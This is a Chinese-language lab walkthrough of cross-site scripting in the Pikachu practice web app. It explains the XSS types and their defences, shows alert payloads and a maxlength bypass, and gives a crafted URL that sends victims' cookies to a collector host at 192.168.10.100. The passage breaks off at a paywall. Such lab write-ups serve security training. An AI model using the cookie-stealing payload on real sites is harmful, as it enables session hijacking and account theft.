XSS概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。
一、反射型XSS (Get)
当输入内容时, 内容被执行写入当网页:

所以可以直接注入:
<script>alert(document.cookie)</script>
发现前端对输入的长度有限制:

解决方法有两个:
- 方法一: 修改前端网页代码
看到对应的input标签maxlength是20:

修改为100后, 可以输入完整的长度:

弹窗成功:

- 方法二: 抓包修改

二、反射型XSS (Post)
首先网站为了更好理解利用xss盗取用户的cookie, 模拟了一个用户登录的过程:

登录成功后, 就和Get型一样的界面了:

虽然界面是一样的, 但是请求方式不一样, 用户先经过POST请求登录, 然后再在当前界面用GET来提交信息:

分析
有的人会问, 这两关有什么区别吗?
当然有区别, 在xss GET方式中, 攻击者可以直接伪造一个已经构造好的攻击网址, 比如:
http://localhost/pikachu-master/vul/xss/xss_reflected_get.php?message=<script>document.location = 'http://192.168.10.100/pikachu-master/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>&submit=submit
来诱使用户点击, 盗取用户的cookie
其中, http://192.168.10.100/pikachu-master/pikachu/pkxss/xcookie/cookie.php?cookie=. 是攻击者自己收集受害用户cookie的网址,
有的人还问, 这么明显的攻击网址, 没人会点。
是的, 的确看到的人都不会点, 但是攻击者会去缩短、包装攻击这个网址。
那么, 在POST方式的xss中, 与GET不同的是:
1. GET方式中, 攻击代码是直接暴露在URL中的
2. POST方式参数内容不会出现在URL中
因为在POST方式中, 就算将构造好(含攻击代码)的URL给用户点击了, 也不会直接触发拿到cookie, 反而会直接弹出用户登录提示。
这时候我们就得用一个服务器(攻击者的), 伪造POST请求去登录, 并且盗取用户登录成功后的cookie
xss后台搭建
这边pikachu靶场自带了一个xss后台, 地址为:
http://localhost/pikachu-master/pkxss/index.php
ps: pkxss目录下还有一个inc/config.inc.php文件需要配置, 配置完成之后, 访问上面地址, 初始化数据库:


里面有3个模块:

然后cookie收集中, 就是攻击者收集受害者cookie的地方:

最低0.47元/天 解锁文章
3366





